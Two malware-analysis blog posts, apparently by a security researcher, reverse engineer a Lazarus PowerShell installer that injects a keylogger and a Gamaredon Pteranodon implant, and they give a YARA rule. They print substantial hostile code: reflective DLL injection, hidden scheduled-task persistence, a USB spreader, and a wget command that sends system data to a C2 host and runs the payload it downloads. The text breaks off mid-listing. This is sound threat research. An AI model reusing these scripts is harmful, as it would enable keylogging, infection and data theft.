Let’s Learn: Dissecting Lazarus PowerShell PowerRatankba.B, Installer Script & Keylogger: Pakistan Version

Goal: Document and review the latest Lazarus PowerRatankba.B, PowerShell installer script leading to the 64-bit keylogger version (Pakistan version).

Source:
Lazarus PowerShell PowerRatankba.B "REG_LOCALDATA.ps1"(Pakistan)
MD5: c9ed87e9f99c631cda368f6f329ee27e
Lazarus PowerShell installer script "hm.ps1" (Pakistan)
MD5: 5cc28f3f32e7274f13378a724a5ec33a
Keylogger 64-bit (x64) "capture_x64.dll'(Pakistan)
MD5: 2025D91C1CDD33DB576B2C90EF4067C7

Outline:

I. Background & Executive Summary
II. PowerShell PowerRatankba.B "REG_LOCALDATA.ps1" (Pakistan)
III. Lazarus PowerShell Installer Script  (Pakistan)
A. Main Code Flow
B. "DoProcess" Function
C. "shell_script" 
IV. Lazarus Keylogger 64-bit (x64) "capture_x64.dll'  (Pakistan)
V. Yara Signature
Analysis
I. Background & Executive Summary
This analysis is a continuation of the reporting on the recent Lazarus toolkits. It is notable that the latest discovered PowerRatankba.B toolkit, uploaded from Pakistan, is almost identical to the Chilean Redbanc incident with the slightly different hardcoded URI structure ending on “cgetpsa” and “cgetruna” on the same server, while the recent uploaded Lazarus PowerShell installer (and its keylogger) bears similarity to the ones shared by the Vietnamese CERT. It is possible that the Lazarus group was targeting financial institutions both in Chile and Pakistan while deploying the same command-and-control server and before in Vietnam.
Before diving deeper into the Lazarus PowerShell installation and keylogger analysis, I highly recommend reading the Norfolk Infosec blog titled “A Lazarus Keylogger- PSLogger” detailing the Lazarus older version of the similar script, installation, and the keylogger DLL component. As noted, the script and its installation do not contain the command-and-control protocol, which likely means that the group exfiltrates the screenshot and keylogger information at a later point via other means.
I have also uploaded MISP JSON and CSV associated with the Lazarus tools (Pakistan) to GitHub k-vitali/apt_lazarus_toolkits for detection and mitigation of this threat.
II. PowerShell PowerRatankba.B “REG_LOCALDATA.ps1” (Pakistan)
The latest identified PowerRatankba.B, uploaded from Pakistan, represents a reconnaissance Lazarus tool with the almost identical script and logic to the Chilean Redbanc incident (with the same server) with the exception of the URI structure and lack of the commented additional server.
Screen Shot 2019-02-24 at 10.34.03 PM

III. Lazarus PowerShell Installer Script “hm.ps1” (Pakistan)

A. Main Code Flow
The main function setup obtains the process list leveraging the native PowerShell command obtaining the current process id list with process names via “Get-Process | Select-Object id,name” then convert the process name to lower case and sets the boolean “$bIsInjected=$false” and then if the process name matches ‘explorer’, the malware enters “DoProcess function passing -Target_PID process id of the process, then exiting.
The main script setup is as follows:

////////////////////////////////////////////////////
////// Lazarus PowerShell installer main flow //////
////////////////////////////////////////////////////
OwnPath = $MyInvocation.MyCommand.Path;
$filesize = (Get-Item $OwnPath).length
$resetBuf = New-Object byte[] $filesize
[System.IO.File]::WriteAllBytes($OwnPath, $resetBuf)
Remove-Item -Path $OwnPath -Force -Recurse
...
$cnt_read = 0;
while($true)
{
$process_list = Get-Process | Select-Object id,name
foreach($iter in $process_list)
{
$process_name = $iter.name.ToLower();
$bIsInjected = $false;
if($process_name.CompareTo('explorer') -eq 0)
{
$ProID = $iter.Id
DoProcess -Target_PID $ProID
$ProcessListArray += $ProID
}
}
exit;
}

B. “DoProcess” Function
Essentially, the  “DoProcess” function passes the string type parameter $Target_PID and creating a file path with random characters as “C:\windows\temp\tmp[0-9A-F].ps1”.

////////////////////////////////////////////////////
///// Lazarus PowerShell 'DoProcess' Function //////
////////////////////////////////////////////////////
Function DoProcess
{
 param([String]$Target_PID)
 $szFileName = 'C:\windows\temp\tmp'+ -join ((48 .. 57) + (65 .. 70) | 
 Get-Random -Count 4 | % { [char]$_ }) + '.ps1';
 [String]$szCode = '$SScript = "' + $shell_script + '"; 
 [String]$NewStr = [System.Text.Encoding]::ASCII.GetString([System.Convert]

::FromBase64String($SScript.Replace("|","a")));$NewStr=$NewStr.Replace("EXECUTION_BINARY",
  "' + $InputString + '");$NewStr=$NewStr.Replace("PROCESSID", "' + $Target_PID + '");
  $NewBlock = [Scriptblock]::Create($NewStr);Invoke-Command -ScriptBlock $NewBlock;';
$szCode | Out-File -Encoding ascii $szFileName;
[String]$szArgList = '-ep bypass -file ' + $szFileName;
$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden - ArgumentList $szArgList;
}

 

The malware parses “shell_script”, replaces “|” for “a”, and base64 decodes and replaces “EXECUTION_BINARY” valuew with the base64 version of the keylogger 64-bit (x64) DLL version. Additinally, it replaces “PROCESSID” with argument “$Target_PID” writing to the resulting script to the tmp file and executing it via “Start-Process powershell.exe -PassThru -WindowStyle Hidden – ArgumentList -ep bypass -file C:\windows\temp\tmp[0-9A-F].ps1”.
C. “shell_script” 
The code itself is a PowerSploit’s PowerShell “Invoke-ReflectivePEInjection” reflectively injects a DLL into a remote process decoding the DLL base64 to binary.

////////////////////////////////////////////////////
///// Lazarus PowerShell 'shell_script' Excerpt ////
////////////////////////////////////////////////////
[String]$InputString = 'EXECUTION_BINARY';
[String]$idProcess = 'PROCESSID';
$injectionErrorCode = '';
$global:cmdRes = 0;
function Invoke-ReflectivePEInjection
 Function Get-Win32Types
 Function Get-Win32Constants
 Function Get-Win32Functions
 Function Sub-SignedIntAsUnsigned
 Function Add-SignedIntAsUnsigned
 Function Compare-Val1GreaterThanVal2AsUInt
...
$PEBytes = [System.Convert]::FromBase64String($InputString);
i ( $idProcess -eq 0)
{
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType
Void -ForceASLR;
}
else
{
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType
Void -ForceASLR -ProcId $idProcess;
}

The malware will force the use of address space layout randomization (ASLR) on the PE loaded even if the PE indicates it does not support ASLR. Additionally, the malware passes -FuncReturnType the return type of the function being called in the DLL; the malware passes -ProcId parameter substituting $idProcess = ‘PROCESSID’ from the main flow loop code and substituting $InputString = ‘EXECTUION_BINARY’ to the dropped Lazarus 64-bit keylogger “capture_x64.dll”.
IV. Lazarus Keylogger 64-bit (x64) “capture_x64.dll’
The keylogger malware is 64-bit with the compilation timestamp Monday, September 24 09:44:33 2018 UTC. It contains the same screenshot library, export function “Process,” same XZip library as the reported Vietnamese and Pakistani keylogger with the same setup as reported in detail by Norfolk Infosec.

Screen Shot 2019-02-24 at 10.34.44 PMV. Yara Signature: Keylogger

rule apt_lazarus_keylogger
{
   meta:
      description = "Detects possible Lazarus Keylogger"
      author = "@VK_Intel"
      date = "2019-01-25"
  strings:
      $s0 = "%s%s" fullword ascii wide
      $s1 = "[ENTER]" fullword ascii wide 
      $s2 = "[EX]" fullword ascii wide
      $s3 = "%02d:%02d" fullword ascii wide
      $dll0 = "PSLogger.dll" fullword ascii wide
      $dll1 = "capture_x64.dll" fullword ascii wide
      $exe = "PSLogger.exe" fullword ascii wide
condition:
uint16(0) == 0x5a4d and all of ($s*) and (1 of ($dll*) or $exe)
}

Let’s Learn: Deeper Dive into Gamaredon Group Pteranodon Implant Version ‘_512’

Goal: Reverse engineer and review the Gamaredon Group Pteranodon Implant (including its batch scripts and decoding mechanism).

https://platform.twitter.com/widgets.js Source:
Original .SFX binary (MD5: f8e884b75216c3e054e9869f933194e5)
‘23910.cmd’ (MD5: 34ff17db1d4efff89cfee8d03d48e5d7)
‘22944.cmd’ (MD5: 197a825d4bfeb093a3c4b969fd4c7338)
‘15485.cmd’ (MD5: 265c3c01f267b699ef0e5c0b8e4a5715
2750.exe’ (MD5: 9136ffa83ef2415a76d437a303e9b38e)
dec_15875.exe” (MD5: 2651ee62f76756a8941ef6632577e427)
Outline:

I. Background & Summary
II. Malware Installation: Batch '.cmd' Scripts
A. '23910.cmd' (previously known as "Wariables.cmd" and "War.cmd" combined)
B. '22944.cmd' (previously known as "id.cmd")
C. '15485.cmd' (previously known as "usb.cmd")
III. Decoding Xor Utility '2750.exe' (previously known as "Crypt.exe")
IV. "dec_15875.exe" wget Binary
IV. Yara Signature

I. Background & Summary
While looking into one of the latest Pterodo/Pteranodon toolkit samples attributed to Gamaredon Group caught by @DrunkBinary, I decided to take a deeper dive into the malware chain and associated tools and scripts. Notably, packaged as self-extracting zip-archive (.SFX), the malware implant contains batch scripts, XOR decoder tool, and obfuscated code. It appears that this very malware contains hardcoded malware version of “_520”.
It is notable that this Gamaredon group was reportedly targeting Ukrainian military and law enforcement as it was reported by CERT-UA. In of the alerts, CERT-UA alerted of the Pterodo infections as follows targeting Ukrainian government:

CERT-UA together with the Foreign Intelligence Service of Ukraine found new modifications of Pterodo-type malware on computers of state authorities of Ukraine, which is likely to be the preparatory stage for a cyber attack. This virus collects system data, regularly sends it to command-control servers and expects further commands.

By and large, malware analysis revealed that the embedded tools include many Russian language artifacts including Cyrillic character encoding “1251” setup (“срсh 1251”, hardcoded Russian-language staged folder “Новая Папка,” command-and-control URI parameters transliterated from Russian (e.g., “versiya“). Among other functionality, the malware has a removable drive (e.g., USB) spreader. 
It is notable that one of the malware tools “Crypt.exe,” which is a simple XOR encryptor, appears to be a copy/paste of the GitHub project linked to the developer under the username “asu2010” on GitHub as well as the article on the Russian portal Habrahabr by another “BlackTester” referencing the same GitHub. 
One of the malware oddities includes the hardcoded extension “CMG” in the parser, which is not used by the malware but possibly meant for chess application.
By and large, the malware chain is not sophisticated but includes a clever usage of batch script logic, leverages Windows Management Instrumentation (T1047), scheduled task (T1053), execution of Microsoft HTML Applications (HTA) (mshta.exe) (T1170) and borrows open source code and well-known “wget” utility.





The malware toolkit includes an interesting method of searching files using SHELL32.DLL icons, creating .lnk shortcuts to them in, and hiding and copying the executable and saving them to removable media (\Boot\UA%RANDOM%.%%Q' and setting up a folder \Новая Папка via "3" icon). 

II. Malware Installation: Batch '.cmd' Scripts

A. '23910.cmd' (previously known as "Wariables.cmd" and "War.cmd" combined)





To hide itself from simple detection, the script starts with setting up the variables including the creation of another script titled “OEPst.cmd” with the registry setup via the following command and deleting right after the command via “del /q /f "OEPst.cmd"


"reg add
“HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
/v Hidden /t REG_DWORD /d 00000002 /f>OEPst.cmd”
Next, the malware proceeds with obtaining a process list looking for “cryptcp.exe” (i.e, “tasklist /nh /fi "imagename eq cryptcp.exe”) and if found deleting it via the following command: 
'tasklist /nh /fi "imagename eq cryptcp.exe" ^| 
find /c "cryptcp.exe"') do set /a LQIEv=%%W
if %LQIEv% geq 2 (
For /F "delims=" %%X In ('Dir !%CD%\*.*! /B') Do Del /Q /F "%%X"

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM //////////////// Main Batch Caller /////////////////////
REM /////////////////////////////////////////////////////////
setlocal enableextensions
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
setlocal enabledelayedexpansion
set THHsE=cryptcp
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set OEPst=HKCU\Software\Microsoft\Windows
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set KevQM=CurrentVersion\Explorer\Advanced\
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set wOEJD=%1_512
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo %wOEJD%>wOEJD
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ 
/v Hidden /t REG_DWORD /d 00000002 /f>OEPst.cmd
set tNdUKKL=%systemroot%
echo exit /b>>OEPst.cmd
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
call OEPst.cmd
set tNdUKKL=%systemroot%
del /q /f "OEPst.cmd"
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set HgDwK="%CD%\*.*"
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
for /f %%W in ('tasklist /nh /fi "imagename eq cryptcp.exe" ^|
find /c "cryptcp.exe"') do set /a LQIEv=%%W
if %LQIEv% geq 2 (
For /F "delims=" %%X In ('Dir !%CD%\*.*! /B') Do Del /Q /F "%%X"
EXIT
)

Next, the script gets a process list via 'tasklist' and 'WMIC' via 

“tasklist /fi "PID eq !%%V!" /fo csv`) DO (set AXGPY=%%~W)
endlocal&set FUOgd=%%~W
for /f "tokens=1* delims==" %%F in (
'wmic process where "Name='%%~W'" get ExecutablePath /value^| findstr”

The malware obtains the system information via 'systeminfo' embedded as “FOR /F "tokens=*" %%V IN ('systeminfo') do @IF NOT F%%V==F set wrJbI=!wrJbI!%%V+###”
The bot ID is generated via  machine name and logical disk serial name (%computername%_logicaldiskserial)
For persistence, the scheduled task is created as follows with the binary “cryptcp.exe” as copied in “%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe”

schtasks /Create /SC MINUTE /MO 11 /F /tn %VOLUME_SERIAL_NUMBER%
/tr "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"

The XOR decryption of the wget binary is performed via 2750.exe “"15875.exe" dec "gjghj,eqhfcgfreqgbyljc" passing the hardcoded key “gjghj,eqhfcgfreqgbyljc
Additionally, the malware checks for “.rdata” section once it downloads another sample to make sure it is a valid executable. 

“1>nul findstr "\" qWFDX.exe && (
start "" "%CD%\qWFDX.exe )”

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM ///////////// ParentProcess WMIC Processor //////////////
REM /////////////////////////////////////////////////////////
set tNdUKKL=%systemroot%
set FUmqD=0
set KDXmp=ParentProcessId
set eJuzm=CommandLine
set xstPC=%~nx0 // %~nx0=name of the running batch file
set lJHFE=parentprocessid
set SsgFv=commandline
set tNdUKKL=%systemroot%
for /f "usebackq tokens=1* delims==" %%U IN
(`
wmic process get !parentprocessid!^, !commandline! /value
`) DO (
if "!0!"=="1" (
if "%%U"==ParentProcessId (set zHsgx=%%V)
)
if "%%U"==CommandLine (
set cHqET=%%V
if not "!%%V:%~nx0=!"=="!%%V!" ( // %~nx0=name of the running batch file
set FUmqD=1
) else (
set FUmqD=0
)
)
)
for /f "usebackq tokens=1* skip=1 delims=," %%W
IN (`tasklist /fi "PID eq !%%V!" /fo csv`) DO (set AXGPY=%%~W)
endlocal&set FUOgd=%%~W
for /f "tokens=1* delims==" %%F in (
'wmic process where "Name='%%~W'" get ExecutablePath /value^| findstr :'
) do set IKssX=%%G
setlocal enableextensions
setlocal enabledelayedexpansion
FOR /F "tokens=*" %%V IN ('systeminfo') do @IF NOT F%%V==F set wrJbI=!wrJbI!%%V+###
set tNdUKKL=%systemroot%
set INoUg=%%G
set GSptS='vol c:'
set lJHFE="\"
for /F "delims=" %%W in (wOEJD) do set wOEJD=%%W
del /f /q "wOEJD"
For /F "skip=1 Tokens=4*" %%X In ('vol c:') Do set FaMJW=%%X
if %FaMJW%==is (
For /F "skip=1 Tokens=5*" %%U In ('vol c:') Do set FaMJW=%%U
)
set OEPst=Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
set tNdUKKL=%systemroot%
set IHsGN=%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
set CErlK="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0"
set tNdUKKL=%systemroot%
set IaGLD=/SC MINUTE /MO 11 /F
if not exist "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\%CD%\*.*"
(MD "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%")
set THHsE=cryptcp
if not exist "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" (
copy /y /v "%%G" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
)
fc /b "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
if %errorlevel%==1 (
RENAME "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" BWElK
copy /y /v "%%G" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
del /f /q "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\BWElK"
)
set tNdUKKL=%systemroot%
set INoUg="%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
set tNdUKKL=%systemroot%
for /d %%X in ("%TEMP%\*") do rd /q "%%X" 2>nul
schtasks /Create /SC MINUTE /MO 11 /F /tn %VOLUME_SERIAL_NUMBER%
/tr "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
set ZbFoE=%computername%_%VOLUME_SERIAL_NUMBER:-=%
set ZbFoE=%ZbFoE: =%
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set tNdUKKL=%systemroot%
2750.exe "15875.exe" dec "gjghj,eqhfcgfreqgbyljc"
set GYHYY=dec_15875.exe
The decoded wget binary calls the domain hxxp://torrent-stel[.]space/spr_files[.]php” via the following script with the URI parameters as sysinfo=&id=&fid=&comp=&versiya= passing the file qWFDX.exe with the -O command.

dec_15875.exe --tries=3 --user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) 
Gecko/20100101 Firefox/27.0
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%
&comp=%computername%&versiya=%1_512%" "hxxp://torrent-stel[.]space/spr_files[.]php"
-q -N hxxp://torrent-stel[.]space/spr_files[.]php -O qWFDX.exe

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM /////////////////// Post Caller Routine /////////////////
REM /////////////////////////////////////////////////////////
:EgEbd
set /a LJEmW=110*%RANDOM%/32768
set tNdUKKL=%systemroot%
timeout /t 110*%RANDOM%/32768
set auUQD=0
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
Call 22944.cmd %auUQD%
if %auUQD%==0 goto qWFDX
If Not Exist %pyBIa% goto qWFDX
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo .>"%pyBIa%\ATjDm"
IF EXIST "%pyBIa%\ATjDm" (
del /f /q "%pyBIa%\ATjDm"
call 15485.cmd %APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
cryptcp "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" %auUQD% %pyBIa%
)
set tNdUKKL=%systemroot%
ping 8.8.8.8 |>nul find /i "TTL=" &&goto qWFDX||goto EgEbd
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%

:qWFDX
if %auUQD%==0 set auUQD=000000
set GXwVw=torrent-stel
set BmrwP=space
set jKDtC=spr_files.php
set downs_telo=qWFDX.exe
set DCInJ=hxxp://torrent-stel[.]space/spr_files[.]php
call :OUJHJ qWFDX.exe
dec_15875.exe --tries=3 --user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%&comp=%computername%&versiya=%1_512%"
"hxxp://torrent-stel[.]space/spr_files[.]php" -q -N 
hxxp://torrent-stel[.]space/spr_files[.]php -O qWFDX.exe
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
call :OUJHJ dec_15875.exe
1>nul findstr "\" qWFDX.exe && (
start "" "%CD%\qWFDX.exe"
)
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ

:DgGTz
set GXwVw=torrent-supd
set jKDtC=spr_updates.php
set DCInJ=hxxp://torrent-stel[.]space/spr_files[.]php
set downs_telo=OUJHJ
dec_15875.exe --tries=3 --user-agent=%CErlK%
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%&comp=%computername%&versiya=%1_512%"
"hxxp://torrent-stel[.]space/spr_files[.]php" -q -N 
hxxp://torrent-stel[.]space/spr_files[.]php -O OUJHJ
call :OUJHJ dec_15875.exe
set tNdUKKL=%systemroot%
2750.exe "OUJHJ" dec "gjghj,eqhfcgfreqgbyljc"
timeout /t 110*%RANDOM%/32768
set /a LJEmW=3*%RANDOM%/32768
set tNdUKKL=%systemroot%
1>nul findstr "\" dec_OUJHJ && (
taskkill /f /im cryptcp.exe
RENAME "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER\cryptcp.exe" BWElK
timeout /t 3*%RANDOM%/32768
copy /y /v "dec_OUJHJ" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER\cryptcp.exe"
start "" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
timeout /t 3*%RANDOM%/32768
del /q /f "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\BWElK"
for /d %%F in ("%TEMP%\*") do rd /q "%%F" 2>nul
del /q /f "%CD%\*.*%"
exit /b
)
for /F %%U in ('tasklist /FI "imagename eq cryptcp.exe" ^| find /C "cryptcp.exe"') do set /a LQIEv=%%U
if %LQIEv% LSS 1 (
start "" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
exit /b
)
goto EgEbd

:OUJHJ
tasklist /fi "IMAGENAME eq %1" | find /i "%1"
if not errorlevel 1 taskkill /f /im %1
exit /b

B. '22944.cmd' (previously known as "id.cmd")
The file generates a removate drive disk name leveraging WMI DriveType=2 (removable drive) via the following query:
WMIC LogicalDisk Where ^(DriveType^=2 And MediaType^=NULL^) Get Name^,VolumeSerialNumber /Value^|Find "="'
The relevant batch script portion is as follows:

REM ///////////////////////////////////////////////////////////
REM /////////////// Removable Drive Searcher ID ///////////////
REM ///////////////////////////////////////////////////////////
set BgElHCr=%DATE%
set auUQD=0
set BgElHCr=%DATE%
For /F "Tokens=1,2* Delims==" %%A In
('WMIC LogicalDisk Where ^(DriveType^=2 And MediaType^=NULL^) '
'Get Name^,VolumeSerialNumber /Value^|Find "="') Do (
set aaHDX=%%A
set ubKsB=%%B
Call :LQIEv %%A %%B
set BaagTQJ=%random%
set BgElHCr=%DATE%
exit /b
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set BgElHCr=%DATE%
:LQIEv
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
Set auUQD=0
set BaagTQJ=%random%
Set $%aaHDX%=%%B
set BgElHCr=%DATE%
If %aaHDX%==VolumeSerialNumber If Defined %%B (Set pyBIa=%$Name%& Set auUQD=%$VolumeSerialNumber%)
set BgElHCr=%DATE%
exit /b

C. '15485.cmd' (previously known as "usb.cmd")
The script logic is responsible for malware removable drive propagation.
It changes the character encoding to "1251" via 'chcp 1251>NULL', which is an 8-bit character encoding, designed to cover languages that use the Cyrillic script such as Russian, Bulgarian, Serbian Cyrillic, and other languages. The malware copies the file to \Boot as win.exe and setting it up with the hidden view as “attrib -h -s win.exe”
The relevant batch script portion is as follows:

REM ///////////////////////////////////////////////////////////
REM /////////////// Removable Drive Searcher ID ///////////////
REM ///////////////////////////////////////////////////////////
setlocal enableextensions
setlocal enabledelayedextensions
chcp 1251 > NULL
set BgElHCr=%USERPROFILE%
set KcIdg=%pyBIa%\win.exe
...
if not defined tQWEd set "tQWEd=%ProgramFiles(x86)%\WinRAR\WinRAR.exe"
REM Win32_LogicalDisk class = Name -> pyBIa
set KcIdg=%pyBIa%\win.exe
set tqEDS=mshta
set "fAFZD=attrib -h -s win.exe"
set "AaBUG=start /b win.exe"
REM %fAFZD% -> 'attrib -h -s win.exe'
REM %AaBUG% -> 'start /b win.exe'
call :qWFDX %fAFZD% %AaBUG%
If Not Exist %pyBIa%\Boot (
MD %pyBIa%\Boot
)
for /f "Tokens=1* Delims=" %%H in ('dir /b/s %pyBIa%\win.exe') do
(copy "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" "%%H" /y)
for /f "Tokens=1* Delims=" %%I in ('dir /b/s "%pyBIa%\*.exe"')
do (
copy /y /v "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" "%%I"
set SEFTP=%%~nxI
REM ~nxI expands %I to a file name and extension only
rename "%%I" !SEFTP: =!
)
for /f "Tokens=1* delims=" %%P in ('dir /b/s "%pyBIa%\*.lnk.lnk"') do (RENAME "%%P" %%~nP)
for /f "Tokens=1* Delims=" %%Q in ('dir /s /b %SystemRoot%\Installer\wordicon.exe')
do (set Rvjvq_doc=%%Q)
for /f "Tokens=1* Delims=" %%I in ('dir /s /b %SystemRoot%\Installer\x1icons.exe')
do (set Rvjvq_xls=%%I)
for %%Q in (doc rtf rar zip CMG txt xls) do (
set KHByE=0
set lOkEy=%%Q
for /f "tokens=*" %%M in ('dir /b /s /a "%pyBIa%\*.%%Q"') do (
if /i not %%~pM==\Boot\ (
set dels_!KHByE!=%%M
set /a KHByE+=1
)
)
call :DgGTz %KHByE% %lOkEy%
for /f "Tokens=1* Delims=" %%N in ('dir /b/s "%pyBIa%\*.lnk"') do (
If Not Exist "%%~dpN win.exe" (
copy /y /v "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
"%%~dpN+win.exe"
REM from 23910 -> %%~dpN -> get the whole pathname from root
)
)
echo attrib +h +s /s %pyBIa%\win.exe>cHqET.cmd
echo attrib +h %pyBIa%\Boot\*.*>>cHqET.cmd
echo attrib +h +s /d /s %pyBIa%\Boot>>cHqET.cmd
echo exit /b>>cHqET.cmd
call cHqET.cmd
EXIT /B

The malware executes various commands uses mshta.exe to process document icons and creates shortcuts to them in the \Boot\UA%RANDOM%.%%Q' and setting up a folder \Новая Папка via "3" icon.
The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM /////////////////// Icon Document Processor //////////////
REM /////////////////////////////////////////////////////////
:qWFDX
copy %APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe "%pyBIa%\win.exe" /y
set "vJiGq=%pyBIa%\Новая папка"
set GpaYX="/C attrib -h -s win.exe & attrib -h -s win.exe & %windir%\explorer.exe"
set jlxNK=%SystemRoot%\system32\SHELL32.dll
call :BWElK %pyBIa%\Новая папка /C attrib -h -s win.exe & attrib -h -s win.exe & %windir%\explorer.exe %SystemRoot%\system32\SHELL32.dll 3

:DgGTz
if %KHByE%==0 exit /b
set /a DdRep=%random% %% %KHByE%
set hLGGi=!dels_%%random% %% %KHByE%%!
set JrbyC=%RANDOM%
copy /y !dels_%%random% %% %KHByE%%! "%pyBIa%\Boot\UA%RANDOM%.%%Q"
set IhLOk="/C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q"
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set jlxNK=%SystemRoot%\system32\SHELL32.dll
set BgElHCr=%USERPROFILE%
set HJSmw=49
set FYowDlU=DCofHCj
if %%Q==doc (
set %SystemRoot%\system32\SHELL32.dll=%%Q
set HJSmw=1
)
set BgElHCr=%USERPROFILE%
if %%Q==rtf (
set %SystemRoot%\system32\SHELL32.dll=%%Q
set HJSmw=1
)
set BgElHCr=%USERPROFILE%
if %%Q==txt (
set HJSmw=70
)
set FYowDlU=DCofHCj
if %%Q==xls (
set %SystemRoot%\system32\SHELL32.dll=%%I
set HJSmw=1
)
if %%Q==rar (
set "%SystemRoot%\system32\SHELL32.dll=%ProgramFiles%\WinRAR\WinRAR.exe"
set HJSmw=101 // %ProgramFiles(x86)%
)
if %%Q==zip (
set "%SystemRoot%\system32\SHELL32.dll=%ProgramFiles%\WinRAR\WinRAR.exe" // %ProgramFiles(x86)%
set HJSmw=101
)
set BgElHCr=%USERPROFILE%
call :BWElK !dels_%%random% %% %KHByE%%! /C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q %SystemRoot%\system32\SHELL32.dll %HJSmw%
del /f /q !dels_%%random% %% %KHByE%%!
EXIT /B

The malware executes hiding and Shell32 icon processor via mshta.exe vbscript.
The relevant batch script portion is as follows:
REM /////////////////////////////////////////////////////////
REM /////////////////// MSHTA.exe Icon //////////////
REM /////////////////////////////////////////////////////////
:BWElK
start "" mshta.exe vbscript:Execute
("Set y=CreateObject(""WScript.Shell"").
CreateShortcut(""!dels_%%random% %% %KHByE%%!.lnk""):
y.TargetPath=""%comspec%"":
y.Arguments="/C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q:
y.WindowStyle=7:y.IconLocation=""%SystemRoot%\system32\SHELL32.dll, %HJSmw%""
:y.Save():Close()")
set BgElHCr=%USERPROFILE%
EXIT /B

III. Decoding Xor Utility 2750.exe (previously known as "Crypt.exe")
Finally, the malware uses the utility "Crypt.exe" to decode the XOR-obfuscated code to obtain the original wget binary for network communication.
Essentially, compiled in MingW libgcj-13.dll, this executable is a simple XOR encryption/decryption utility, which is heavily commented in Russian and with the Russian language resource
The default Russian-language commands are as follows:

Зашивровать  enc  (encode  enc )
Дешивровать dec (decode enc )

It is notable that one of the malware tools "Crypt.exe," which is a simple XOR encryptor, appears to be a copy/paste of the GitHub project linked to the developer under the username "asu2010" on GitHub as well as the article on the Russian portal Habrahabr by another "BlackTester" referencing the same GitHub. 

/////////////////////////////////////////////////////////
/////////////////// XOR Decryption Routine //////////////
/////////////////////////////////////////////////////////
unsigned char XOR(unsigned char inByte, unsigned char keyByte)
{
return inByte ^ keyByte;
}
void DecodeFile(FILE* inFile, FILE* outFile, char* keyString)
{
int Count;
unsigned char inByte;
unsigned char outByte;
